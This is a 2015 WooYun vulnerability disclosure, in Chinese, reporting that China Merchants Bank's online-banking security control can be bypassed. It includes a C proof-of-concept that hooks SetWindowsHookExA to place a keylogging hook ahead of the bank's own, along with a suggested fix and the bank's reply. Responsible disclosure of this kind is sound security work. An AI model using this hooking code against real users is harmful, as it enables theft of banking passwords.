当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114940

漏洞标题:招商银行网银安全控件可被绕过

相关厂商:招商银行

漏洞作者: 路人甲

提交时间:2015-05-19 15:27

修复时间:2015-07-05 21:22

公开时间:2015-07-05 21:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-19: 细节已通知厂商并且等待厂商处理中
2015-05-21: 厂商已经确认,细节仅向厂商公开
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开

简要描述:

按说网银安全控件应该是能够在不安全的环境里保护用户安全的(废话!本来就安全的环境还要他保护个蛋啊!)。但实际上由于设计缺陷,某些控件一点安全性都没有。

详细说明:

招商银行个人网银安全控件设计缺陷,可轻松绕过其对键盘记录器的防护。
配合之前爆出的安全控件修改IE设置的缺陷可导致任意ActiveX加载,实现远程利用。
详细内容见证明。

漏洞证明:

招行控件设计挺不错,但还是有少许不足。
控件利用windows的消息钩子机制,控件在激活时挂钩了WH_GETMESSAGE,WH_KEYBOARD和WH_KEYBOARD_LL三个消息,并且采用循环挂钩摘钩的方法保证自己的钩子在链表的第一位,对键盘记录有较强的对抗能力。

招行.png


但在实际中,挂钩消息是调用API函数SetWindowsHookExA完成,由于控件没有检测API是否被修改,通过APIHOOK技术可以修改SetWindowsHookExA做到将恶意的钩子置于链表顶部。

HHOOK WINAPI My_SetWindowsHookExA(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId)
{
HHOOK ret = SysSetWindowsHookExA(idHook, lpfn, hMod, dwThreadId);
if (idHook == WH_KEYBOARD || idHook == WH_KEYBOARD_LL)
{
if (!myhook)
{
SysUnhookWindowsHookEx(myhook);
myhook = NULL;
}
bankhook = ret;
myhook = SysSetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, hMod, 0);
}
return ret;
}


确保了自己的hook位于链表顶部也就意味着可以先于控件截获键盘消息,于是:
(图中每次按键被记录了两次是由于demo同时下了两个钩子,无视这些细节就好~)

招行1.png

修复方案:

调用API前检查函数入口是否被修改

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-05-21 21:21

厂商回复:

感谢乌云网对我行网银安全的关注。客户电脑环境安全是一个需要多方共同参与才能解决的问题,我行已升级控件对该情况提示客户。我行网银安全由密码、短信验证码、证书等多种措施共同保护,并不依赖单一措施,请客户放心使用。

最新状态:

暂无